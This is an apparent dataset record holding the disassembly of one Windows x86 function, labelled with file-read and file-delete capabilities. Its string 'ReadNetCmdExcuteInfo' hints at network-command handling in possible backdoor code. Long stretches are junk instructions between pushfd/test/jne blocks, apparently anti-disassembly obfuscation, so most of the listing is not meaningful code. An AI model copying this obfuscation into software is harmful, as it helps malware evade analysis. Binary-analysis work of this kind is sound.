Function at 0x1006fc57
Capabilities:
Delete file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x974
mov eax, dword [0x10170c30]
xor eax, ebp
pushfd
test byte [0x1006f426], 0x5e
jne 0x1006f527
movsb byte es:[edi], byte [esi]
je 0x1006f435
inc ebp
mov edx, 0x4334f716
lds ecx, [edi - 0x518a8546]
rcr esi, 1
or dl, bl
push ss
push eax
arpl word [esi - 0x41], bp
mov ah, al
lock xchg byte [esi - 0x79], al
xchg byte [esi - 0x79], al
das
mov ebp, 0xacdcafc5
add ah, byte [eax + ebx + 0x38]
int3
xchg edi, eax
mov ebx, 0xd68ca9e0
and ecx, dword [0x9c321c5]
xchg ebp, eax
lodsd eax, dword [esi]
pop esi
popfd
mov dword [ebp - 4], eax
push esi
mov esi, ecx
push edi
lea ecx, [esi + 0x7a4]
call fcn.10061383
push 0x103
pushfd
test byte [0x1006f623], 0xd6
jne 0x1006f624
add byte [eax], al
movq mm0, qword [edi]
mov al, byte [0x2125b793]
imul dword [0xdcce1c64]
jge 0x1006f565
aad 0x85
adc eax, 0x94903ec4
jnp 0x1006f54b
jnp 0x1006f54b
inc ecx
cmp al, byte [eax + 0x40]
arpl word [edx + 0x41], cx
imul esp, dword [edi], 0xffffff9e
xor cl, dh
insb byte es:[edi], dx
jbe 0x1006f518
sbb eax, 0x3038c272
mov edx, 0xfe21cf8a
mov edx, 0xbb372ce0
stosb byte es:[edi], al
xor dword [ebp - 0x4be853d7], ebx
jbe 0x1006f5d0
aaa
insd dword es:[edi], dx
mov ch, 0xb8
test dword [edx - 0x24], 0xe68e0c29
dec edi
mov eax, 0xb6f7b8cc
cld
dec ecx
xchg esi, eax
call 0xe0275c22
cwde
push esi
pop es
cwde
mov al, 0x99
cli
rol byte [edx], 1
shl byte [esi], cl
xchg ecx, eax
adc dword [eax], ecx
sub al, 0xaa
mov ch, 0x2d
mov dh, 0x19
inc ebx
jl 0x1006f627
mov bh, 0xc7
lea ebx, [edx]
cmc
insb byte es:[edi], dx
xchg ecx, eax
pop esp
jne 0x1006f574
jb 0x1006f624
adc dword [edx - 0x4002ebdb], edx
sbb ebp, dword [esp + edi*2 + 0xf2873e2]
adc bl, byte [esi - 0x39]
std
mov edi, 0xe27cac1b
jae 0x1006f600
movlps xmm3, qword [esi - 0x39]
sbb al, 0x79
std
inc byte [eax]
or dl, byte [eax]
inc ebp
add dh, cl
stosb byte es:[edi], al
test al, 0x4e
sal byte [0x1c27583e], 1
mov ah, byte [ecx]
sbb dh, byte [edx - 2]
adc dword [ebx + 0x6161ff47], ecx
cmp eax, 0xb2ab17b8
fcom qword [ecx]
xchg ebx, edx
insd dword es:[edi], dx
dec esp
shr dword [ebp + 0x4c], cl
lds ecx, [ebx + esi*4 - 0x7fd23453]
xchg esp, eax
push esp
pop edx
arpl word [eax + 0x52f58d46], cx
pop ebx
mov dword [0xce2f9571], eax
js 0x1006f690
dec esp
add al, 0x93
push eax
rcr ah, cl
popfd
xor edi, edi
lea eax, [ebp - 0x107]
pushfd
test byte [0x1006f657], 0x7a
jne 0x1006f758
xchg byte [ebp - 0x1eed9242], dh
mov ebp, 0xe47c098f
sbb al, 0xa5
leave
sti
loopne 0x1006f603
mov bh, 0xd3
inc eax
int1
rol dword [eax - 0xf], cl
xor al, bh
dec ebx
jnp 0x1006f6a2
lea esp, [esi]
jns 0x1006f685
or cl, byte [esi + 0x3060cd18]
mov ch, dh
test al, 0xf2
cmp byte [edx - 0x3fcc1bb4], bh
pop sp
add byte [ecx], bh
dec ebp
inc ecx
cmp dword [ebp + 0x41], ecx
adc edx, esi
dec ebx
sub dh, ah
jno 0x1006f64c
call 0xbd9e78ec
jno 0x1006f64b
mov edi, 0x9846a6b9
fcomp qword [edi + 0x3688722d]
mov byte [esi], dh
add eax, 0xef53e2d6
scasd eax, dword es:[edi]
xor eax, 0x1ed1dda2
rcr dword [esi], 1
pop esi
clc
popfd
jle 0x1006f66b
mov gs, esi
push ebx
xchg esp, eax
or byte [edi + 0x310621b0], al
cmp dh, byte [edi - 0xdaab0fb]
idiv byte [ebx - 0x50]
mov bh, 5
dec edi
push ebp
idiv byte [ebx - 0x50]
pop esi
int3
popfd
push edi
push eax
mov byte [ebp - 0x108], 0
call fcn.1011df60
add esp, 0xc
pushfd
test byte [0x1006f7da], 0x7b
jne 0x1006f7db
mov edi, 0x6127454
adc edi, ecx
cdq
adc ch, bl
bound edx, qword [ebx]
xchg edi, eax
or dword [eax - 0x70], 0x1e
inc edi
sbb esi, dword [esp + ebp*8]
in al, dx
sub al, 0xf0
fild qword [ebp - 0x341c792f]
push ebp
cmc
sbb eax, esp
pop ebx
or dword [0x350ec87f], esp
inc esi
inc esp
sbb ah, byte [ebp + ebp - 0x4d]
loopne 0x1006f7cc
retf
sub eax, 0x89c82ca9
lodsb al, byte [esi]
add dword [eax + 0x74081d4f], esp
pop edi
jnp 0x1006f791
dec edi
sbb eax, 0x7b5f7408
fst qword [eax + 0x11416b7e]
push ds
nop
jle 0x1006f822
inc ecx
adc dword [esi], ebx
mov edx, 0x5dbe1e7a
sub edi, esi
inc edi
mov dh, 0x7a
cmc
mov al, byte [0xd8aad0f6]
mov bh, 0xf1
int1
lds edx, [eax]
push edx
push 0x5f
sbb al, 0x93
mov es, ecx
push edx
inc ebx
cld
xchg byte [ebx], ch
popfd
lea eax, [ebp - 0x108]
push eax
pushfd
test byte [0x1006f800], 0xe7
jne 0x1006f901
test eax, edi
invalid
add eax, 0x1006f800
out 0xf, eax
test dword [eax], edx
add dword [eax], eax
add ch, cl
popal
int 0x61
popfd
cmpsb byte [esi], byte es:[edi]
rol dword [ecx - 0x40], 0xcf
ja 0x1006f789
jns 0x1006f7e5
pop es
jne 0x1006f7dd
mov dl, 0xed
and eax, 0x9a248a21
pop edx
inc ebp
inc esp
pop eax
popal
outsb dx, byte [esi]
push es
xor byte [esi + 0x18ef4752], dh
fld dword [edi - 0x56709cf1]
cli
fadd qword [edi - 0x1ebfed30]
mov ebx, edx
shr byte [edx - 0x55], cl
loope 0x1006f7ad
rcl edx, cl
push 0xffffffffffffffab
mov bl, 0x45
pop ds
int 0xeb
salc
mov esp, 0x75b1826c
inc edi
aas
mov edi, 0x34337fab
sub al, 9
pop ebp
shl dword [eax - 0xc6e9579], cl
inc edx
out dx, al
mov al, byte [0xc2e3e5fa]
jo 0x1006f88a
pop edi
mov ecx, 0x57ff3632
daa
cmpsb byte [esi], byte es:[edi]
pop edx
sti
pmaddwd mm1, mm5
mov ah, 0x5a
push 0xe35eea00
scasd eax, dword es:[edi]
mov edx, 0x9670ec57
xor ebp, edx
das
sahf
jge 0x1006f8d1
enter 0x1728, 0x15
pop ebp
xchg edx, eax
push 0xc14661c5
and eax, dword [ecx + 0x59]
imul byte [eax + ebx*2 - 0x31]
mov esi, 0x62c626fa
push ecx
popfd
js 0x1006f8b3
pop ss
or eax, 0x32dbc875
mov ah, byte [eax + edi]
xchg esp, eax
scasb al, byte es:[edi]
ror bh, 1
int3
jne 0x1006f854
invalid
pop ds
push ebx
pop ecx
in al, 0xc5
push ss
lds esi, [edi + edi*4]
pop edx
inc eax
xchg ebp, eax
push ebx
push eax
outsb dx, byte [esi]
fidiv word [ecx + ecx*4]
movsd dword es:[edi], dword [esi]
test dword [ebx], esi
add dh, ch
int1
int 0x82
and ebp, eax
idiv bh
xchg dword [edi], ecx
sbb ebp, edx
sub esp, dword [ebx]
jo 0x1006f90d
inc dword [edi + 0x2bea1b0f]
and esi, dword [eax + 0x33]
mov edx, 0x6590f9dd
dec ebx
cmpsb byte [esi], byte es:[edi]
cmp bl, byte [edx + edx*4 - 0x62]
sub dh, byte [ebx + 0x6e]
jbe 0x1006f934
inc edi
cld
sub byte [eax + 0x4074ec5c], ah
not byte [edx + edx*2]
sar ecx, 0x69
or dword [ebx], eax
scasb al, byte es:[edi]
adc al, 0x67
fnsave dword [ebx + 0x53]
popfd
mov ecx, esi
call fcn.100552c1
lea eax, [ebp - 0x108]
pushfd
test byte [0x1006f94a], 0x28
jne 0x1006f94b
invalid
dec eax
jns 0x1006f92a
cmc
inc ebp
ror byte [esi - 0x43], 0xa4
sub eax, 0x79d1c1a3
or ecx, dword [ebp - 0x2fd2ccb5]
mov dword [0xdc0d0d28], eax
clc
les esi, [ebx]
xor ebp, dword [0xd28a3d0]
or eax, 0x33c4f8dc
xor esp, dword [ecx - 0x74]
invalid
popal
mov word [edx - 0x21], fs
sbb dword [ecx], 0xa691bae8
or byte [esi - 0x79aa6c5e], bl
call 0x9b4fd90f
daa
popfd
push eax
call fcn.1004ad89
cmp eax, 0xffffffff
je 0x1006fcc9
mov ah, 0xfd
inc dword [ebx - 0x7bf00008]
outsb dx, byte [esi]
add eax, dword [eax]
add byte [0x3c00000], bh
cmp eax, 0x3c00000
jbe 0x1006fcc9
pushfd
test byte [0x1006f996], 0xd8
jne 0x1006fa97
jle 0x1006f94f
adc al, 0xd7
jge 0x1006f94b
adc ah, 0x73
std
in eax, 0xc8
inc esi
push ebp
rol bl, cl
jl 0x1006f966
loopne 0x1006f988
add dword [ebp - 0x30], ecx
pop edx
adc dword [ecx - 0x37], 0xf2a8a0d5
dec ebp
rcr byte [edx - 0x7f], 1
push ecx
leave
aad 0xa0
test al, 0xf2
lea ebx, [edx + 0x7c6a5147]
push ecx
push 0x7c
add dl, byte [edi - 0xd448a87]
inc ebx
xor byte [eax], dh
inc esp
stosb byte es:[edi], al
or dword [ebx], ebx
jge 0x1006f991
jle 0x1006f9b8
add dh, al
lodsd eax, dword [esi]
je 0x1006f985
test dword [eax + edi*2 + 0x6cb8c2aa], ecx
adc byte [eax], 0xc5
fidiv word [ebp + 0x57]
jne 0x1006fa11
into
xor al, byte [ebx]
stc
adc eax, 0xf14f50b0
add eax, 0xcd40446d
and al, 0x5d
mov ebx, ebp
aas
stosb byte es:[edi], al
into
mov al, 0x5a
dec edi
add eax, 0x1eafdddc
adc al, 0x66
inc ebx
cwde
adc edx, esi
pop eax
mov bh, 0xa9
xor byte [eax + ecx + 0x5b29dc86], dh
cmp ebp, dword [eax - 0x3f]
and byte [ebx + 0x4abfb925], bh
or cl, byte [edi + 0x57]
aaa
and dword [esi - 0x75], ebx
push esi
jecxz 0x1006f994
loop 0x1006f9dc
stosb byte es:[edi], al
mov word [ebx - 0x3924ef7a], cs
push 0x1e
push ds
enter 0x1f05, 0xffffffffffffffdb
sub ebp, dword [esp + ebx*8 - 0x22ad54bf]
cmp dword [ebp - 0x1a], ecx
clc
out dx, al
inc edx
xchg edi, eax
dec edi
push ds
and byte [ebp - 0x6c], ah
out 0xb8, al
jae 0x1006fa80
xor dword [edi], esi
jne 0x1006fa05
jne 0x1006fa68
mov eax, 0x1d3f6f53
psrad mm6, qword [ecx]
test dword [esi + 0x7ab24db2], 0x960fb64
mov dh, 0xd4
enter 0x56ac, 0xffffffffffffffa2
cmpsb byte [esi], byte es:[edi]
cmp esp, dword [edi]
shr dl, 0x77
lodsd eax, dword [esi]
cwde
xchg al, bh
or eax, 0xc57c5bc0
sbb eax, 0x1a1defe5
das
push esp
inc edx
adc byte [edx + eax*4], dl
mov word [ebp - 0x50], fs
mov fs, word [edi + 0x4517a3cd]
pushf
cmp ch, ah
sbb bl, byte [eax]
mov ebx, 0xa7b374c5
sbb byte [ebx - 0x584c8b3b], bh
add byte [ecx + 0x352daf94], ch
outsb dx, byte [esi]
cwde
aam 0x62
xor dh, byte [ebp + 0x1f4b2f78]
inc ebp
xchg esp, eax
cmp dword [eax], ebp
push ecx
xchg esp, eax
jbe 0x1006faa9
popal
das
jne 0x1006fafd
lds ebp, [edx + 0x62d528c9]
sbb eax, dword [ebp - 0x7d0bce8d]
int3
leave
sub ch, dl
bound ebx, qword [ebx]
test dword [ebx + 0x31], esi
hlt
popfd
lea eax, [ebp - 0x108]
push eax
push str.CHYNODE::ReadNetCmdExcuteInfo:File__s_Too_Big_Delete___
push edi
push edi
call fcn.10049c0c
pushfd
test byte [0x1006fb76], 0xf7
std
call [esi + esi*8 + 0x6fb7605]
adc bh, dh
jne 0x1006fb77
mov ebp, 0x63dd71ba
pop ebp
sub al, 0xe1
add edi, esp
push ss
xchg ebx, eax
sal byte [ebx + esi*8 - 0x5b], 1
mul byte [ebx - 0x2767d7e6]
aad 0x3c
sbb dl, bl
cmp ebp, dword [eax]
test dword [0x4e71f889], esp
and dword [edi], esi
loop 0x1006fac4
in eax, 0xa1
add bl, bl
xchg ebx, eax
fisub dword [edi]
mov eax, dword [0xda93db02]
daa
xor al, 0x70
dec esi
call 0x7a562b08
jl 0x1006fae5
inc esi
in al, dx
int1
sub byte [ebp - 0x11], dh
sub eax, 0x6573775a
sub bh, bl
sti
push ecx
dec ebp
add ch, dl
xchg esi, eax
je 0x1006fa8c
adc eax, 0x2f9b5c43
arpl word [edi - 0x68], sp
mov dh, 0x47
xchg ebx, eax
push ebp
pushal
or al, 0xc1
inc eax
inc esp
lahf
adc esp, dword [ecx + 0x2655295b]
push ds
sbb dl, byte [ebx + 0x3f]
pop ds
mov esp, dword [ebx]
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
mov edx, 0x1acd6488
xchg esp, eax
les ebp, [ecx + 0x98bf371]
lds ecx, [edi]
out 0x18, eax
or ebp, eax
movntq qword [eax], mm3
in al, 0x27
popal
jae 0x1006fade
punpckldq mm3, mm3
stosd dword es:[edi], eax
mov ebx, 0x3841417d
cmpsb byte [esi], byte es:[edi]
sal dword [ecx + 0x405cf549], cl
jae 0x1006fbba
invalid
leave
add bh, byte [eax + 0x5b3f3fbf]
les ebp, [ecx]
and eax, 0x13e810e8
add cl, byte [ecx + esi*2 - 0xd]
mov ch, 0x69
inc ecx
scasb al, byte es:[edi]
sub dh, byte [edi - 0x70fc658d]
adc dword [ecx], ecx
ja 0x1006fbaf
mov ecx, 0xef63d0be
jns 0x1006fb3d
popfd
add esp, 0x10
pushfd
test byte [0x1006fc57], 0x85
jne 0x1006fc58
xor bl, byte [edi]
test dword [eax], eax
jbe 0x1006fb32
int3
out dx, al
jne 0x1006fbc6
add al, 0x35
push ss
in eax, dx
cmp edi, dword [esi + 0x6e8477a2]
and dword [esi], 0xffffffb8
aad 0x82
push 0xffffffffffffffdc
test byte [esi - 0x7d], ch
mov eax, 0xdc6a82d5
sub byte [edx - 0x24], 0x61
popal
jno 0x1006fba9
push cs
jecxz 0x1006fbbf
aam 0x3f
mov ebx, dword [ebx - 0x44]
shr byte [ecx], 1
or dword [ebp + 0x49], 0x3ec403b8
imul ebx, dword [eax - 9], 0xf6ba085b
jl 0x1006fc1c
push esi
popal
sub dword [ebp + 0x1a5f371a], ebx
fnstenv [ecx]
push ebx
mov al, 0x57
xor bh, cl
lahf
stc
cmp al, 0xfc
ja 0x1006fb9e
and ebx, dword [esi]
xchg esi, eax
lds edi, [ecx]
fisttp qword [eax + 0x75]
fisub dword [ebx - 0x2d35c971]
fnstcw word [ebx + 0x71]
xor ebp, dword [ebx + 0x61]
push cs
xchg ecx, eax
inc esp
aad 0xff
fsubr dword [ebx + 0x6a]
adc esp, dword [eax + 0x4b]
in al, 0x89
bnd js 0x1006fc39
or byte [ebp], cl
xor eax, 0xd094ef5a
and ebp, dword [esi + 0x6f]
sbb dword [0x6bf69a20], 0xffffffbd
leave
xor al, 0xe
push cs
outsb dx, byte [esi]
push esp
stosd dword es:[edi], eax
jo 0x1006fc87
inc ecx
sbb dl, ch
pop edx
xor dword es:[ecx + edx*2], edx
mov bh, 0x40
mov dl, al
and byte [ebx + 0x434bbcaa], ch
inc ebx
pop edx
mov ecx, 0x337aa3c7
inc esp
cmp eax, 0x33bc71ab
popal
lahf
mov dword [0x3d44337a], eax
stosd dword es:[edi], eax
jno 0x1006fbfd
xor esp, dword [ecx - 0x61]
sbb eax, 0x3fc44e40
in al, dx
or byte [edi - 0x1d940603], ch
cdq
test eax, 0xa4e9f83a
dec esp
popfd
lea eax, [ebp - 0x108]
pushfd
test byte [0x1006fcc0], 0x7d
jne 0x1006fcc1
sub dword [ecx], esp
not edi
mov dl, 0x98
out 0x9d, al
or al, 0x7c
mov ebp, esp
or dl, byte [ebp + 0x4f]
scasb al, byte es:[edi]
jmp [edi]
xchg dword [0x5e1e9d16], edx
cmc
push ds
sub ch, byte [ebx + 0x3cdbefcb]
xchg esp, eax
mov dl, 0x17
xchg ebp, eax
std
sar byte [edi - 0x48], 0xef
js 0x1006fc2a
sbb edx, dword [ecx + eax*8 - 0x43]
push ds
int3
popfd
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x108]
push 0x10146a8c
push eax
call fcn.1011f7ae
pushfd
test byte [0x1006fd1f], 0x53
jne 0x1006fd20
popfd
lodsd eax, dword [esi]
jns 0x1006fd3c
sti
mov bh, 7
adc eax, 0x54a9efa9
mov dword [0xc753027e], eax
out dx, eax
aad 0x13
in al, 0x62
movsb byte es:[edi], byte [esi]
or dword [ebx + 0x3ecde006], ebx
xchg dword [ecx + 0x63], ebp
sbb al, 0x84
xlatb
xor byte [0x21355de6], dl
xchg edx, eax
movsb byte es:[edi], byte [esi]
xor eax, 0xdb8202dd
add esi, dword [eax - 0x554cc9a6]
mov al, 0x5a
mov bl, 0xaa
test eax, 0xd38c694f
popfd
pop ecx
pop ecx
mov dword [ebp - 0x974], eax
cmp eax, edi
jne 0x1006fd34
xor eax, eax
jmp 0x10070373
lea ecx, [ebp - 0x970]
pushfd
test byte [0x1006fe34], 0x14
jne 0x1006fe35
call [esi + esi*8 + 0x6fe3405]
adc byte [edi + ecx], dl
add eax, 0x1006fe34
adc al, 0xf
test ebp, ebp
add byte [eax], al
add byte [ebx + 8], dh
jae 0x1006fd52
or al, 0x96
jns 0x1006fd64
pop edx
pop ecx
push edi
adc ebp, eax
jb 0x1006fd16
dec esi
cmc
test eax, 0xd5e0ac5c
dec ecx
adc al, 0xae
push ss
cmpsd dword [esi], dword es:[edi]
xchg esi, eax
cmp bl, dl
xchg edx, eax
xchg dword [edx], esp
sub al, 0xbf
out 0xeb, al
push es
xchg byte [eax + 0x25], ah
mov dh, 0xa4
dec ebx
jne 0x1006fd39
mov word [ebx], ds
fsub dword [ecx + 0x16b4b543]
in al, dx
xor al, 0xe4
mov bl, byte [ecx]
or byte [edi - 0x3424a3b4], bl
rol esp, cl
mov ecx, 0x3e8b3f9d
les edi, [ecx + 0x3e8b3f9d]
aas
mov edi, dword [esi]
and al, dl
mov ebx, 0xedadb6bb
cmp ebp, esi
dec edx
mov bh, 0x2d
cwde
inc eax
jnp 0x1006fd83
out 8, eax
mov al, byte [0xe831ac71]
das
pushfd
js 0x1006fd8a
pushal
aad 0x5c
inc esp
mov edi, 0xa9db63b3
push ecx
cdq
bound esp, qword [edx]
pop es
loopne 0x1006fdab
sbb bh, cl
mov edx, 0xe718758c
sbb esi, dword [edi - 0x3b]
push ebp
cmpsb byte [esi], byte es:[edi]
add al, 0xb9
jo 0x1006fda9
pop ss
stosd dword es:[edi], eax
sub eax, 0x5fe90c4e
push eax
clc
mov esp, dword [esi + 0x3f9db1f4]
aas
cli
pop es
push ebp
jnp 0x1006fd8d
sub ch, byte [edx - 0x4e]
fcomp dword [edi - 0x5c5344d0]
test dword [ecx - 0x7453138d], eax
popal
add al, dl
pop edi
xor esp, ecx
push esp
pop edi
mov bl, 0x7f
cmp dword [eax - 0x1df8d315], edx
js 0x1006fde9
lahf
xor byte [ebx - 0x7e7a5c54], bh
mov ebx, 0x8185a3ac
jae 0x1006fddc
lodsb al, byte [esi]
mov esp, dword [ecx + 2]
ret 0x315f
cmp al, 0xf3
mov word [esi + 0x2d91ec14], fs
push ss
shl byte [ebx + 0x55107ea], 1
push edx
xor byte [esi + eax + 0x70], dl
dec edi
movsb byte es:[edi], byte [esi]
div byte [ebx - 0x4a16f7bd]
out dx, eax
popal
pop esp
in eax, dx
mov edi, 0x2dab5ab5
cmp eax, 0x98fd9b56
push 0xffffffffffffffc5
scasb al, byte es:[edi]
sbb ah, dh
popfd
call fcn.1005a3c0
push dword [ebp - 0x974]
mov edi, 0x868
push edi
lea eax, [ebp - 0x970]
push 1
push eax
pushfd
test byte [0x1006fe8e], 0xbc
jne 0x1006fe8f
sub bl, byte [edi]
adc al, byte [eax + 0x29]
or al, byte [ebx + 0x76]
inc ecx
cmpsd dword [esi], dword es:[edi]
js 0x1006fde7
mov edi, 0xf1d32ad8
or ecx, esp
aad 0xf4
inc edi
or al, 0x5f
pop edi
fisubr dword [ebp - 0x57]
jno 0x1006fe71
in eax, dx
xchg ebp, eax
imul ebx, dword [ebx + 0x2a], 0xc3c7092d
or eax, 0xd5f012f5
mov esp, edx
outsd dx, dword [esi]
rcl dword [ecx - 0x7b]
test byte [esi], 0x96
cld
popfd
call fcn.10120084
add esp, 0x10
cmp eax, edi
jne 0x10070364
push ebx
lea ecx, [esi + 0x7a4]
mov eax, dword [ecx]
pushfd
test byte [0x1006feeb], 0xc
jne 0x1006feec
dec esp
aas
push edi
aaa
pop edi
or al, 0xc2
in eax, 0xeb
lodsd eax, dword [esi]
push edi
cmp eax, 0x7db5a169
mov al, dh
xchg edx, edi
out 0x18, al
adc dword [ebp - 9], ecx
xor al, 0xac
mov eax, 0x7519909d
loop 0x1006ff44
push 0xfffffffffffffffb
int1
std
insb byte es:[edi], dx
movsd dword es:[edi], dword [esi]
nop
mov al, byte [edi + 0x49f353d1]
leave
rcr dword [0xabae11fd], cl
popfd
lea edx, [ebp - 0x970]
pushfd
test byte [0x1006ff47], 0x4e
jne 0x1006ff48
adc edx, ecx
jle 0x1006fea7
nop
dec esp
or byte [edx - 0x2e], 0x94
fnstcw word [esi + 0x50]
cmc
mov al, 0xd0
inc edi
lea ecx, [eax + 0x40232629]
arpl word [ebx + 0x52446748], dx
cdq
sbb al, byte [ebp + 0x639ab2f3]
cmp eax, 0xc2498967
dec ebp
in eax, dx
daa
ficomp word [ebx + 0x17]
mov al, 0x21
xchg ebp, eax
push ss
adc edx, 5
inc esi
sqrtps xmm3, xmm1
dec ebp
inc eax
div dword [eax + 0x73]
movsd dword es:[edi], dword [esi]
das
loopne 0x1006ff73
xor ch, byte [eax]
test al, 0x6f
sub byte [eax + 0x4d56e06f], ch
loopne 0x1006ff9c
push esi
dec ebp
cld
popfd
push edx
push eax
call fcn.100696d5
pushfd
test byte [0x1006fff6], 0x31
je 0x1006fff7
pop esi
jo 0x1006ff90
shl byte [eax - 0x316a1c37], cl
xchg ebx, eax
pop ebx
jnp 0x1006ff93
call [eax + ebx*2 - 4]
pop esp
pop eax
cld
std
xchg ebx, eax
fild word [ecx - 0x4d158f96]
xchg ecx, eax
or al, 0x57
test eax, 0xd48ba0cc
mov cl, 0x31
adc eax, ebp
lodsd eax, dword [esi]
std
sub ebp, dword [ecx + 0x67]
loopne 0x1006ff6c
push 0x70
ljmp 0xcca9
and cl, bl
mov dl, 0x77
dec esp
salc
call 0xe2b79d62
mov al, 0xd2
enter 0xffffffffffffff5b, 0xffffffffffffffa9
xchg ebx, eax
dec esp
ficom word [eax]
add cl, dh
adc byte [edx], al
into
popfd
sti
test al, 0xad
fild qword [ebx]
inc ecx
loopne 0x1006ffd1
pop edi
jbe 0x1006ff45
inc byte [ebx - 0xb004249]
jns 0x1006ff40
xor byte [edx], dh
dec esi
add eax, 0xb2bdade5
stosd dword es:[edi], eax
rol dword [edx - 0x45], cl
mov dword [eax - 0x909481d], edx
dec esp
or bl, cl
sbb byte [esi + 0x5a01b012], dh
and dword [ecx + 0x4f7ef646], eax
idiv byte [esi + 0x4f]
pop edx
sub dword [eax - 0x4a], 0xe
in al, dx
or al, 0x98
adc ebp, edi
loopne 0x1007001a
cld
or bl, byte [ebp + esi*8 - 0xc830724]
enter 0x767a, 0x67
mov esi, 0xdd1c1e4b
inc dword [edi - 0x7f4529b3]
popfd
cmp dword [ebp - 0x130], 0
pushfd
test byte [0x1007004c], 0xd0
jne 0x1007004d
lea esp, [esi]
sbb byte [eax + 0x60bb9367], 0xd0
cdq
xchg esi, eax
popfd
fsub qword [ecx]
push esi
sahf
jecxz 0x10070063
dec eax
jg 0x10070017
mov dh, byte [eax + esi*4]
test al, 0xc7
popfd
push edi
jecxz 0x1006ffc8
imul ecx, ebp, 0x7b
insd dword es:[edi], dx
mov dword [ebp - 0x119f8eb0], eax
cmp eax, dword [0x7efb61b4]
ja 0x1007008d
jb 0x10070090
salc
imul esp, dword [ebx + edx*2], 0x4055d695
and al, 0x53
xchg ebp, eax
salc
push ebp
inc eax
outsb dx, byte ss:[esi]
int 0x50
inc esi
add eax, 0x8222e572
cmc
popfd
jne 0x10070147
lea ebx, [esi + 0x7c8]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea ecx, [esi + 0x798]
cwde
pop es
add byte [eax], al
mov eax, dword [ecx]
lea edx, [ebp - 0x970]
push edx
pushfd
test byte [0x10070120], 0xbd
jne 0x10070121
mov dl, byte [edi]
xchg ebp, eax
push ecx
mov dword [0x40d5], eax
sbb ah, byte [edi - 0x1a]
pop ss
cdq
sub dword [ecx - 0x5dee0730], esp
mov ebp, 0xb871fb68
or dh, ch
pop edx
fsubr qword [edx + 0x27]
sar al, 1
adc dword [edx + 0x71fb68bd], esp
mov byte [0x71fb68bd], al
mov eax, 0xdc5af50a
push 0x27
xchg ecx, eax
mov bl, 0xd2
xor byte gs:[esi - 0x64], dl
mov esi, ecx
cmp eax, 0x3463aed8
mov al, 0xf1
mov ch, 0xde
inc esi
jb 0x1007003c
xor ah, byte [edx + 0x2a]
xchg byte [ecx + 9], dh
inc esp
movsb byte es:[edi], byte [esi]
push ebp
int3
popfd
push eax
call fcn.10036453
pushfd
test byte [0x1007013e], 0xef
jne 0x1007013f
rcl byte [eax]
mov eax, 0xce3199d8
in al, dx
and eax, 0x1d5f46dd
fcomp dword [ecx + 0x25ecce31]
fld qword [esi + 0x5f]
sbb eax, 0x15ff539d
popal
adc al, 0x10
popfd
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push dword [ebp - 0x974]
lea eax, [ebp - 0x970]
pushfd
test byte [0x10070249], 4
jne 0x1007024a
fild qword [edi - 0xe19b44c]
sbb dh, cl
mov dword [ebx], esi
into
push eax
cdq
push esp
sub al, 0x83
jne 0x100701dd
xor dh, dh
push ss
test dword [esi + 0x75], 0xcdba5045
jns 0x100701ca
test bh, bh
psubq mm3, qword [ecx + 0x6dce5f7a]
add eax, 0xabc5909e
shl ebp, cl
adc ah, al
mov ch, 0x7e
fnstcw word [ebx + 0x6350e410]
salc
nop
adc eax, 0xef134f5f
mov esi, 0x9762db42
mov ebp, 0x8fdab7dd
jns 0x10070135
cwde
push ss
mov eax, 0xbcdc5eb1
sbb dword [ebp - 0x63217414], edi
mov al, 0x6b
push ecx
sahf
mov bh, byte [ebp + 0x485f3c]
cmc
cmp dh, byte [edx + esi*4 + 0x62709861]
mov ah, 0xb2
popal
cwde
jo 0x10070232
or edx, dword [ebx + 0x33376375]
mov ch, 0x18
mov gs, word [eax]
aaa
add edx, dword [esi - 0x4f]
dec eax
mov cl, 0x48
jecxz 0x100701e4
jae 0x10070247
jl 0x10070229
inc esp
shl byte [ebx], cl
shr byte [eax + 0x3f], 1
mov byte [0x121a00cc], ah
jno 0x10070239
mov dword [eax], ebx
push esp
test dword [esi], ebp
fxtract
aad 0xf1
je 0x10070251
test dword [edx + 0x25], esi
xchg edx, eax
jne 0x10070217
imul edx, ebp, 0xffffffaf
pop ebx
mov eax, dword [0x1ee3238b]
loop 0x1007021d
jbe 0x10070243
mov eax, dword [0xeb9782fd]
sub ah, bl
push ebp
jecxz 0x1007026e
pop esi
mov bh, 0xe9
xchg edx, eax
stosb byte es:[edi], al
cmp edx, esi
mov edi, dword [di]
xchg edi, eax
cmp eax, dword [ecx + 0x2dac2d8d]
mov bl, 0x22
movsd dword es:[edi], dword [esi]
das
sub eax, 0x2fa522b3
outsb dx, byte [esi]
loopne 0x100701f0
outsb dx, byte [esi]
test cl, dl
js 0x10070248
lea esp, [eax - 0x46975a32]
push es
jg 0x10070249
into
movsd dword es:[edi], dword [esi]
push 0x97f06b9
cmpsb byte [esi], byte es:[edi]
fnstcw word [edx]
div dword [eax + 0x30cfd721]
iretd
xor byte [edi - 0x63], bl
pop edi
popfd
push edi
push 1
push eax
call fcn.10120084
add esp, 0x10
pushfd
test byte [0x10070359], 0xaa
dec byte [edx]
add byte [ebx - 0x963ef3c], al
add eax, 0x10070359
stosb byte es:[edi], al
jne 0x1007035a
add byte [eax], al
add byte [ebx + edi*2 - 6], bl
pop esp
jnp 0x10070262
sal ecx, 1
imul dword [esi + 0x4a]
xchg ebx, eax
or eax, ecx
idiv dword [esp]
pop ecx
sbb al, 0x3e
or eax, 0x17fad1c9
mov ebp, 0xe42e508c
popfd
dec edx
sbb byte [esi - 0x5c], cl
sahf
cmp dword [edi - 0x63], esi
aam 0xa6
adc al, 0x56
adc dword [eax], ecx
into
mov eax, 0xccd5593f
ror ecx, 1
ja 0x100702bb
push ebp
mov edi, 0x19c08ce0
xor cl, bl
push es
or bh, byte [0x1c738dfc]
inc eax
mov dword [0xb2271f39], eax
dec edx
das
and dword [eax + 0x6ba6329d], 0xffffffc8
pop esp
xor ebx, ebx
fld xword [ebx + 0xb]
jnp 0x100702c6
imul ecx, dword [ebx], 0x7b
push es
xor ch, byte [ecx + 0x2e6a7779]
sub eax, 0x907afb20
xor bh, ah
xor bh, ah
lea ebx, [esi]
push 0xffffffffffffffae
in al, dx
xchg byte [ebp + 0x2f], al
cli
mov ecx, 0x2459618
inc edx
test dword [esp + edi*2], ecx
test edi, 0x37c4993d
pushfd
ja 0x10070354
cmp eax, 0x2b3c49a8
